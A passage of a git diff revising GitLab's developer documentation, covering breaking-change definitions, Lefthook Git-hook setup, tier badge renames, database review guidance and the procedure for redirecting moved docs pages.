+- Any major [breaking changes](#breaking-changes). - External libraries. If you are not sure who to mention, the reviewer will do this for you early in the merge request process. +#### Breaking changes + +A "breaking change" is any change that requires users to make a corresponding change to their code, settings, or workflow. "Users" might be humans, API clients, or even code classes that "use" another class. Examples of breaking changes include: + +- Removing a user-facing feature without a replacement/workaround. +- Changing the definition of an existing API (by re-naming query parameters, changing routes, etc.). +- Removing a public method from a code class. + +A breaking change can be considered "major" if it affects many users, or represents a significant change in behavior. + #### Issues workflow This [documentation](issue_workflow.md) outlines the current issue workflow: diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index 7859af4e88b..166f7b350bf 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -65,9 +65,9 @@ request is as follows: template already provided in the "Description" field. 1. If you are contributing documentation, choose `Documentation` from the "Choose a template" menu and fill in the description according to the template. - 1. Mention the issue(s) your merge request solves, using the `Solves #XXX` or - `Closes #XXX` syntax to [auto-close](../../user/project/issues/managing_issues.md#closing-issues-automatically) - the issue(s) once the merge request is merged. + 1. Use the syntax `Solves #XXX`, `Closes #XXX`, or `Refs #XXX` to mention the issue(s) your merge + request addresses. Referenced issues do not [close automatically](../../user/project/issues/managing_issues.md#closing-issues-automatically). + You must close them manually once the merge request is merged. 1. If you're allowed to, set a relevant milestone and [labels](issue_workflow.md). 1. UI changes should use available components from the GitLab Design System, [Pajamas](https://design.gitlab.com/). The MR must include *Before* and @@ -150,7 +150,7 @@ Commit messages should follow the guidelines below, for reasons explained by Chr #### Why these standards matter 1. Consistent commit messages that follow these guidelines make the history more readable. -1. Concise standard commit messages helps to identify breaking changes for a deployment or ~"master:broken" quicker when +1. Concise standard commit messages helps to identify [breaking changes](index.md#breaking-changes) for a deployment or ~"master:broken" quicker when reviewing commits between two points in time. #### Commit message template @@ -212,7 +212,7 @@ the contribution acceptance criteria below: 1. Changes do not degrade performance: - Avoid repeated polling of endpoints that require a significant amount of overhead. - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_performance_guidelines.md). - - Avoid repeated access of the filesystem. + - Avoid repeated access of the file system. - Use [polling with ETag caching](../polling.md) if needed to support real-time features. 1. If the merge request adds any new libraries (gems, JavaScript libraries, etc.), they should conform to our [Licensing guidelines](../licensing.md). See those diff --git a/doc/development/contributing/style_guides.md b/doc/development/contributing/style_guides.md index c316d50c88c..2a2cfebe964 100644 --- a/doc/development/contributing/style_guides.md +++ b/doc/development/contributing/style_guides.md @@ -15,52 +15,83 @@ settings automatically by default. If your editor/IDE does not automatically sup we suggest investigating to see if a plugin exists. For instance here is the [plugin for vim](https://github.com/editorconfig/editorconfig-vim). -## Pre-push static analysis +## Pre-push static analysis with Lefthook -We strongly recommend installing [Lefthook](https://github.com/Arkweid/lefthook) to automatically check -for static analysis offenses before pushing your changes. +[Lefthook](https://github.com/Arkweid/lefthook) is a Git hooks manager that allows +custom logic to be executed prior to Git committing or pushing. GitLab comes with +Lefthook configuration (`lefthook.yml`), but it must be installed. -To install `lefthook`, run the following in your GitLab source directory: +We have a `lefthook.yml` checked in but it is ignored until Lefthook is installed. -```shell -# 1. Make sure to uninstall Overcommit first -overcommit --uninstall +### Uninstall Overcommit + +We were using Overcommit prior to Lefthook, so you may want to uninstall it first with `overcommit --uninstall`. + +### Install Lefthook + +1. Install the `lefthook` Ruby gem: + + ```shell + bundle install + ``` + +1. Install Lefthook managed Git hooks: + + ```shell + bundle exec lefthook install + ``` + +1. Test Lefthook is working by running the Lefthook `prepare-commit-msg` Git hook: + + ```shell + bundle exec lefthook run prepare-commit-msg + ``` + +This should return a fully qualified path command with no other output. + +### Lefthook configuration -# If using rbenv, at this point you may need to do: rbenv rehash +The current Lefthook configuration can be found in [`lefthook.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lefthook.yml). -# 2. Install lefthook... +Before you push your changes, Lefthook automatically runs the following checks: -## With Homebrew (macOS) -brew install Arkweid/lefthook/lefthook +- Danger: Runs a subset of checks that `danger-review` runs on your merge requests. +- ES lint: Run `yarn eslint` checks (with the [`.eslintrc.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.eslintrc.yml) configuration) on the modified `*.{js,vue}` files. Tags: `frontend`, `style`. +- HAML lint: Run `bundle exec haml-lint` checks (with the [`.haml-lint.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.haml-lint.yml) configuration) on the modified `*.html.haml` files. Tags: `view`, `haml`, `style`. +- Markdown lint: Run `yarn markdownlint` checks on the modified `*.md` files. Tags: `documentation`, `style`. +- SCSS lint: Run `bundle exec scss-lint` checks (with the [`.scss-lint.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.scss-lint.yml) configuration) on the modified `*.scss{,.css}` files. Tags: `stylesheet`, `css`, `style`. +- RuboCop: Run `bundle exec rubocop` checks (with the [`.rubocop.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.rubocop.yml) configuration) on the modified `*.rb` files. Tags: `backend`, `style`. +- Vale: Run `vale` checks (with the [`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.vale.ini) configuration) on the modified `*.md` files. Tags: `documentation`, `style`. -## Or with Go -go get github.com/Arkweid/lefthook +In addition to the default configuration, you can define a [local configuration](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#local-config). -## Or with Rubygems -gem install lefthook +### Disable Lefthook temporarily -### You may need to run the following if you're using rbenv -rbenv rehash +To disable Lefthook temporarily, you can set the `LEFTHOOK` environment variable to `0`. For instance: -# 3. Install the Git hooks -lefthook install -f +```shell +LEFTHOOK=0 git push ... ``` -Before you push your changes, Lefthook then automatically run Danger checks, and other checks -for changed files. This saves you time as you don't have to wait for the same errors to be detected -by CI/CD. +### Run Lefthook hooks manually + +To run the `pre-push` Git hook, run: + +```shell +bundle exec lefthook run pre-push +``` -Lefthook relies on a pre-push hook to prevent commits that violate its ruleset. -To override this behavior, pass the environment variable `LEFTHOOK=0`. That is, -`LEFTHOOK=0 git push`. +For more information, check out [Lefthook documentation](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#run-githook-group-directly). -You can also: +### Skip Lefthook checks per tag -- Define [local configuration](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#local-config). -- Skip [checks per tag on the fly](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#skip-some-tags-on-the-fly). - For example, `LEFTHOOK_EXCLUDE=frontend git push origin`. -- Run [hooks manually](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#run-githook-group-directly). - For example, `lefthook run pre-push`. +To skip some checks based on tags when pushing, you can set the `LEFTHOOK_EXCLUDE` environment variable. For instance: + +```shell +LEFTHOOK_EXCLUDE=frontend,documentation git push ... +``` + +For more information, check out [Lefthook documentation](https://github.com/Arkweid/lefthook/blob/master/docs/full_guide.md#skip-some-tags-on-the-fly). ## Ruby, Rails, RSpec @@ -111,7 +142,7 @@ This ensures that our list isn't mistakenly removed by another auto generation o the `.rubocop_todo.yml`. This also allows us greater visibility into the exceptions which are currently being resolved. -One way to generate the initial list is to run the todo auto generation, +One way to generate the initial list is to run the `todo` auto generation, with `exclude limit` set to a high number. ```shell @@ -149,8 +180,12 @@ See the dedicated [Shell scripting standards and style guidelines](../shell_scri ## Markdown +<!-- vale gitlab.Spelling = NO --> + We're following [Ciro Santilli's Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/). +<!-- vale gitlab.Spelling = YES --> + ## Documentation See the dedicated [Documentation Style Guide](../documentation/styleguide/index.md). diff --git a/doc/development/cycle_analytics.md b/doc/development/cycle_analytics.md deleted file mode 100644 index 1619f3dcb10..00000000000 --- a/doc/development/cycle_analytics.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'value_stream_analytics.md' ---- - -This document was moved to [another location](value_stream_analytics.md) - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md index 59b31437161..413c0a31eec 100644 --- a/doc/development/dangerbot.md +++ b/doc/development/dangerbot.md @@ -105,9 +105,9 @@ minimize the number of lines of code in `danger/`. A non-trivial `Dangerfile` should mostly call plugin code with arguments derived from the methods provided by Danger. The plugin code itself should have unit tests. -At present, we do this by putting the code in a module in `lib/gitlab/danger/...`, +At present, we do this by putting the code in a module in `tooling/danger/...`, and including it in the matching `danger/plugins/...` file. Specs can then be -added in `spec/lib/gitlab/danger/...`. +added in `spec/tooling/danger/...`. To determine if your `Dangerfile` works, push the branch that contains it to GitLab. This can be quite frustrating, as it significantly increases the cycle diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md index 26083183d6d..a242a3d5fd0 100644 --- a/doc/development/database/database_reviewer_guidelines.md +++ b/doc/development/database/database_reviewer_guidelines.md @@ -50,17 +50,17 @@ European/US and APAC friendly hours. You can join the office hours call and brin that require a more in-depth discussion between the database reviewers and maintainers: - [Database Office Hours Agenda](https://docs.google.com/document/d/1wgfmVL30F8SdMg-9yY6Y8djPSxWNvKmhR5XmsvYX1EI/edit). -- [Youtube playlist with past recordings](https://www.youtube.com/playlist?list=PL05JrBw4t0Kp-kqXeiF7fF7cFYaKtdqXM). +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [YouTube playlist with past recordings](https://www.youtube.com/playlist?list=PL05JrBw4t0Kp-kqXeiF7fF7cFYaKtdqXM). You should also join the [#database-labs](../understanding_explain_plans.md#database-lab) -Slack channel and get familiar with how to use Joe, the slackbot that provides developers +Slack channel and get familiar with how to use Joe, the Slackbot that provides developers with their own clone of the production database. Understanding and efficiently using `EXPLAIN` plans is at the core of the database review process. The following guides provide a quick introduction and links to follow on more advanced topics: - Guide on [understanding EXPLAIN plans](../understanding_explain_plans.md). -- [Explaining the unexplainable series in depesz](https://www.depesz.com/tag/unexplainable/). +- [Explaining the unexplainable series in `depesz`](https://www.depesz.com/tag/unexplainable/). Finally, you can find various guides in the [Database guides](index.md) page that cover more specific topics and use cases. The most frequently required during database reviewing are the following: diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md index 33a0fd2ebb7..f338520c6ca 100644 --- a/doc/development/database/strings_and_the_text_data_type.md +++ b/doc/development/database/strings_and_the_text_data_type.md @@ -34,6 +34,12 @@ but only for updating the declaration of the columns. We can then validate it at `VALIDATE CONSTRAINT`, which requires only a `SHARE UPDATE EXCLUSIVE LOCK` (only conflicts with other validations and index creation while it allows reads and writes). +### Exceptions + +Text columns used by `attr_encrypted` are not required to have a limit, because the length of the +text after encryption may be longer than the text itself. Instead, you can use an Active Record +length validation on the attribute. + ## Create a new table with text columns When adding a new table, the limits for all text columns should be added in the same migration as diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md index 358b9bb42b0..207d5a733ce 100644 --- a/doc/development/database/table_partitioning.md +++ b/doc/development/database/table_partitioning.md @@ -60,7 +60,7 @@ was the first table to be partitioned in the application database (scheduled for deployment with the GitLab 13.5 release). This table tracks audit entries of security events that happen in the application. In almost all cases, users want to see audit activity that -occurs in a certain timeframe. As a result, date-range partitioning +occurs in a certain time frame. As a result, date-range partitioning was a natural fit for how the data would be accessed. To look at this in more detail, imagine a simplified `audit_events` schema: diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md index f4558189000..dc64b59018b 100644 --- a/doc/development/database_debugging.md +++ b/doc/development/database_debugging.md @@ -69,16 +69,14 @@ bundle exec rails db -e development Use these instructions for exploring the GitLab database while developing with the GDK: 1. Install or open [Visual Studio Code](https://code.visualstudio.com/download). -1. Install the [PostgreSQL VSCode Extension](https://marketplace.visualstudio.com/items?itemName=ckolkman.vscode-postgres) by Chris Kolkman. +1. Install the [PostgreSQL VSCode Extension](https://marketplace.visualstudio.com/items?itemName=ckolkman.vscode-postgres). 1. In Visual Studio Code click on the PostgreSQL Explorer button in the left toolbar. 1. In the top bar of the new window, click on the `+` to **Add Database Connection**, and follow the prompts to fill in the details: 1. **Hostname**: the path to the PostgreSQL folder in your GDK directory (for example `/dev/gitlab-development-kit/postgresql`). 1. **PostgreSQL user to authenticate as**: usually your local username, unless otherwise specified during PostgreSQL installation. 1. **Password of the PostgreSQL user**: the password you set when installing PostgreSQL. 1. **Port number to connect to**: `5432` (default). - 1. <!-- vale gitlab.Spelling = NO --> - **Use an ssl connection?** - <!-- vale gitlab.Spelling = YES --> This depends on your installation. Options are: + 1. **Use an SSL connection?** This depends on your installation. Options are: - **Use Secure Connection** - **Standard Connection** (default) 1. **(Optional) The database to connect to**: `gitlabhq_development`. diff --git a/doc/development/database_review.md b/doc/development/database_review.md index da2c93cc1fd..a19f46b2198 100644 --- a/doc/development/database_review.md +++ b/doc/development/database_review.md @@ -144,10 +144,13 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac ##### Query Plans - The query plan for each raw SQL query included in the merge request along with the link to the query plan following each raw SQL snippet. -- Provide the link to the plan at: [explain.depesz.com](https://explain.depesz.com). Paste both the plan and the query used in the form. +- Provide a public link to the plan from either: + - [postgres.ai](https://postgres.ai/): Follow the link in `#database-lab` and generate a shareable, public link + by clicking the **Share** button in the upper right corner. + - [explain.depesz.com](https://explain.depesz.com): Paste both the plan and the query used in the form. - When providing query plans, make sure it hits enough data: - You can use a GitLab production replica to test your queries on a large scale, - through the `#database-lab` Slack channel or through [chatops](understanding_explain_plans.md#chatops). + through the `#database-lab` Slack channel or through [ChatOps](understanding_explain_plans.md#chatops). - Usually, the `gitlab-org` namespace (`namespace_id = 9970`) and the `gitlab-org/gitlab-foss` (`project_id = 13083`) or the `gitlab-org/gitlab` (`project_id = 278964`) projects provide enough data to serve as a good example. @@ -220,13 +223,13 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - Check for any obviously complex queries and queries the author specifically points out for review (if any) - If not present yet, ask the author to provide SQL queries and query plans - (for example, by using [chatops](understanding_explain_plans.md#chatops) or direct + (for example, by using [ChatOps](understanding_explain_plans.md#chatops) or direct database access) - For given queries, review parameters regarding data distribution - [Check query plans](understanding_explain_plans.md) and suggest improvements to queries (changing the query, schema or adding indexes and similar) - General guideline is for queries to come in below [100ms execution time](query_performance.md#timing-guidelines-for-queries) - - Avoid N+1 problems and minimalize the [query count](merge_request_performance_guidelines.md#query-counts). + - Avoid N+1 problems and minimize the [query count](merge_request_performance_guidelines.md#query-counts). ### Timing guidelines for migrations diff --git a/doc/development/diffs.md b/doc/development/diffs.md index fba8eda0408..52ba89a4d6e 100644 --- a/doc/development/diffs.md +++ b/doc/development/diffs.md @@ -14,12 +14,20 @@ We rely on different sources to present diffs. These include: ## Deep Dive +<!-- vale gitlab.Spelling = NO --> + In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs -functionality to share his domain specific knowledge with anyone who may work in this part of the -codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek), -and the slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) -and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/). +functionality to share domain-specific knowledge with anyone who may work in this part of the +codebase in the future: + +<!-- vale gitlab.Spelling = YES --> + +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> + [Recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek) +- Slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) +- [PDF slides](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/) + Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may have changed since then, it should still serve as a good introduction. @@ -125,7 +133,7 @@ Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits. #### Not expandable patches (too large) The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`. -Users see a `This source diff could not be displayed because it is too large` message. +Users see a `Changes are too large to be shown.` message and a button to view only that file in that commit. ```ruby Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 @@ -180,8 +188,8 @@ has been introduced. One of the key challenges to deal with when working on merge ref diffs are merge conflicts. If the target and source branch contains a merge conflict, the branches -cannot be automatically merged. The [recording on -YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered) +cannot be automatically merged. The +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered) is a quick introduction to the problem and the motivation behind the [epic](https://gitlab.com/groups/gitlab-org/-/epics/854). In 13.5 a solution for both-modified merge diff --git a/doc/development/directory_structure.md b/doc/development/directory_structure.md new file mode 100644 index 00000000000..c2329feb941 --- /dev/null +++ b/doc/development/directory_structure.md @@ -0,0 +1,36 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Backend directory structure + +## Use namespaces to define bounded contexts + +A healthy application is divided into macro and sub components that represent the contexts at play, +whether they are related to business domain or infrastructure code. + +As GitLab code has so many features and components it's hard to see what contexts are involved. +We should expect any class to be defined inside a module/namespace that represents the contexts where it operates. + +When we namespace classes inside their domain: + +- Similar terminology becomes unambiguous as the domain clarifies the meaning: + For example, `MergeRequests::Diff` and `Notes::Diff`. +- Top-level namespaces could be associated to one or more groups identified as domain experts. +- We can better identify the interactions and coupling between components. + For example, several classes inside `MergeRequests::` domain interact more with `Ci::` + domain and less with `ImportExport::`. + +```ruby +# bad +class MyClass +end + +# good +module MyDomain + class MyClass + end +end +``` diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index 9228609aae9..eb20e721e46 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Distributed Tracing - development guidelines +# Distributed Tracing - development guidelines **(FREE)** GitLab is instrumented for distributed tracing. Distributed Tracing in GitLab is currently considered **experimental**, as it has not yet been tested at scale on GitLab.com. diff --git a/doc/development/doc_styleguide.md b/doc/development/doc_styleguide.md deleted file mode 100644 index 1595a841ade..00000000000 --- a/doc/development/doc_styleguide.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'documentation/styleguide.md' ---- - -This document was moved to [another location](documentation/styleguide.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/feature-change-workflow.md b/doc/development/documentation/feature-change-workflow.md deleted file mode 100644 index 78e5510ffca..00000000000 --- a/doc/development/documentation/feature-change-workflow.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'workflow.md' ---- - -This document was moved to [another location](workflow.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md index 7547ec59fb2..c9c291abd2c 100644 --- a/doc/development/documentation/feature_flags.md +++ b/doc/development/documentation/feature_flags.md @@ -30,7 +30,7 @@ See how to document them below, according to the state of the flag: - [Features that can be enabled or disabled for a single project](#features-enabled-by-project). - [Features with the feature flag removed](#features-with-flag-removed). -The [`**(CORE ONLY)**`](styleguide/index.md#product-tier-badges) badge or equivalent for +The [`**(FREE SELF)**`](styleguide/index.md#product-tier-badges) badge or equivalent for the feature's tier should be added to the line and heading that refers to enabling/disabling feature flags as Admin access is required to do so, therefore, it indicates that it cannot be done by regular users of GitLab.com. @@ -61,7 +61,7 @@ be enabled for a single project, and is not ready for production use: > - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -70,7 +70,7 @@ This feature might not be available to you. Check the **version history** note a <!-- Add this at the end of the file --> -### Enable or disable <Feature Name> **(CORE ONLY)** +### Enable or disable <Feature Name> **(FREE SELF)** <Feature Name> is under development and not ready for production use. It is deployed behind a feature flag that is **disabled by default**. @@ -91,7 +91,7 @@ Feature.disable(:<feature flag>) ```` Adjust the blurb according to the state of the feature you're documenting. -Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, and +Replace `<Feature name>`, `**(FREE SELF)**`, `<feature flag>`, and `<replace with path to>`, and `#anchor-to-section` accordingly. ### Features that became enabled by default @@ -120,7 +120,7 @@ use: > - [Became enabled by default](link-to-issue) on GitLab 12.1. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -129,7 +129,7 @@ This feature might not be available to you. Check the **version history** note a <!-- Add this at the end of the file --> -### Enable or disable <Feature Name> **(CORE ONLY)** +### Enable or disable <Feature Name> **(FREE SELF)** <Feature Name> is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. @@ -150,7 +150,7 @@ Feature.disable(:<feature flag>) ```` Adjust the blurb according to the state of the feature you're documenting. -Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, +Replace `<Feature name>`, `**(FREE SELF)**`, `<feature flag>`, `<replace with path to>`, and `#anchor-to-section` accordingly. ### Features directly enabled by default @@ -176,7 +176,7 @@ cannot be enabled for a single project, and is ready for production use: > - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -185,7 +185,7 @@ This feature might not be available to you. Check the **version history** note a <!-- Add this at the end of the file --> -### Enable or disable <Feature Name> **(CORE ONLY)** +### Enable or disable <Feature Name> **(FREE SELF)** <Feature Name> is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. @@ -206,7 +206,7 @@ Feature.disable(:<feature flag>) ```` Adjust the blurb according to the state of the feature you're documenting. -Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, +Replace `<Feature name>`, `**(FREE SELF)**`, `<feature flag>`, `<replace with path to>`, and `#anchor-to-section` accordingly. ### Features enabled by project @@ -249,7 +249,7 @@ be enabled by project, and is ready for production use: > - It's enabled on GitLab.com. > - It can be enabled or disabled for a single project. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -258,14 +258,14 @@ This feature might not be available to you. Check the **version history** note a <!-- Add this at the end of the file --> -### Enable or disable <Feature Name> **(CORE ONLY)** +### Enable or disable <Feature Name> **(FREE SELF)** <Feature Name> is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md) can opt to disable it. -To enabled it: +To enable it: ```ruby # For the instance @@ -285,7 +285,7 @@ Feature.disable(:<feature flag>, Project.find(<project id>)) ```` Adjust the blurb according to the state of the feature you're documenting. -Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, +Replace `<Feature name>`, `**(FREE SELF)**`, `<feature flag>`, `<replace with path to>`, and `#anchor-to-section` accordingly. ### Features with flag removed diff --git a/doc/development/documentation/improvement-workflow.md b/doc/development/documentation/improvement-workflow.md deleted file mode 100644 index 78e5510ffca..00000000000 --- a/doc/development/documentation/improvement-workflow.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'workflow.md' ---- - -This document was moved to [another location](workflow.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 55f5d43b175..53e7ba35831 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -12,7 +12,7 @@ The GitLab documentation is [intended as the single source of truth (SSOT)](http In addition to this page, the following resources can help you craft and contribute to documentation: - [Style Guide](styleguide/index.md) - What belongs in the docs, language guidelines, Markdown standards to follow, links, and more. -- [Structure and template](structure.md) - Learn the typical parts of a doc page and how to write each one. +- [Topic type template](structure.md) - Learn about the different types of topics. - [Documentation process](workflow.md). - [Markdown Guide](../../user/markdown.md) - A reference for all Markdown syntax supported by GitLab. - [Site architecture](site_architecture/index.md) - How <https://docs.gitlab.com> is built. @@ -96,18 +96,18 @@ belongs to, as well as an information block as described below: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments ``` -For example, the following metadata would be at the beginning of a product -documentation page whose content is primarily associated with the Audit Events -feature: +For example: ```yaml --- -stage: Monitor -group: APM +stage: Example Stage +group: Example Group info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- ``` +If you need help determining the correct stage, read [Ask for help](workflow.md#ask-for-help). + ### Document type metadata Originally discussed in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/1280), @@ -161,73 +161,69 @@ Nanoc layout), which is displayed at the top of the page if defined: ## Move or rename a page -Moving or renaming a document is the same as changing its location. -Be sure to assign a technical writer to any MR that renames or moves a page. Technical -Writers can help with any questions and can review your change. +Moving or renaming a document is the same as changing its location. Be sure to +assign a technical writer to any merge request that renames or moves a page. +Technical Writers can help with any questions and can review your change. -When moving or renaming a page, you must redirect browsers to the new page. This -ensures users find the new page, and have the opportunity to update their bookmarks. +When moving or renaming a page, you must redirect browsers to the new page. +This ensures users find the new page, and have the opportunity to update their +bookmarks. There are two types of redirects: -- Redirect files added into the docs themselves, for users who view the docs in `/help` - on self-managed instances. For example, [`/help` on GitLab.com](https://gitlab.com/help). -- Redirects in a [`_redirects`](../../user/project/pages/redirects.md) file, for users - who view the docs on <https://docs.gitlab.com>. - -To add a redirect: - -1. In an MR in one of the internal docs projects (`gitlab`, `gitlab-runner`, `omnibus-gitlab` - or `charts`): - 1. Move or rename the doc, but do not delete the old doc. - 1. In the old doc, add the redirect code for `/help`. Use the following template exactly, - and only change the links and date. Use relative paths and `.md` for a redirect - to another docs page. Use the full URL to redirect to a different project or site: - - ```markdown - --- - redirect_to: '../path/to/file/index.md' - --- - - This document was moved to [another location](../path/to/file/index.md). - - <!-- This redirect file can be deleted after <YYYY-MM-DD>. --> - <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> - ``` +- Redirect codes added into the documentation files themselves, for users who + view the docs in `/help` on self-managed instances. For example, + [`/help` on GitLab.com](https://gitlab.com/help). +- [GitLab Pages redirects](../../user/project/pages/redirects.md), + for users who view the docs on [`docs.gitlab.com`](https://docs.gitlab.com). - Redirect files linking to docs in any of the 4 internal docs projects can be - removed after 3 months. Redirect files linking to external sites can be removed - after 1 year. +The Technical Writing team manages the [process](https://gitlab.com/gitlab-org/technical-writing/-/blob/master/.gitlab/issue_templates/tw-monthly-tasks.md) +to regularly update the [`redirects.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_data/redirects.yaml) +file. - 1. If the document being moved has any Disqus comments on it, follow the steps - described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments). - 1. If a documentation page you're removing includes images that aren't used - with any other documentation pages, be sure to use your MR to delete - those images from the repository. - 1. Assign the MR to a technical writer for review and merge. -1. If the redirect is to one of the 4 internal docs projects (not an external URL), - create an MR in [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs): - 1. Update [`_redirects`](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/content/_redirects) - with one redirect entry for each renamed or moved file. This code works for - <https://docs.gitlab.com> links only: - - ```plaintext - /ee/path/to/old_file.html /ee/path/to/new_file 302 # To be removed after YYYY-MM-DD - ``` +To add a redirect: - The path must start with the internal project directory `/ee` for `gitlab`, - `/gitlab-runner`, `/omnibus-gitlab` or `charts`, and must end with `.html`. +1. Create a merge request in one of the internal docs projects (`gitlab`, + `gitlab-runner`, `omnibus-gitlab`, or `charts`), depending on the location of + the file that's being moved, renamed, or removed. +1. To move or rename the documentation file, create a new file with the new + name or location, but don't delete the existing documentation file. +1. In the original documentation file, add the redirect code for + `/help`. Use the following template exactly, and change only the links and + date. Use relative paths and `.md` for a redirect to another documentation + page. Use the full URL (with `https://`) to redirect to a different project or + site: + + ```markdown + --- + redirect_to: '../path/to/file/index.md' + --- + + This document was moved to [another location](../path/to/file/index.md). + + <!-- This redirect file can 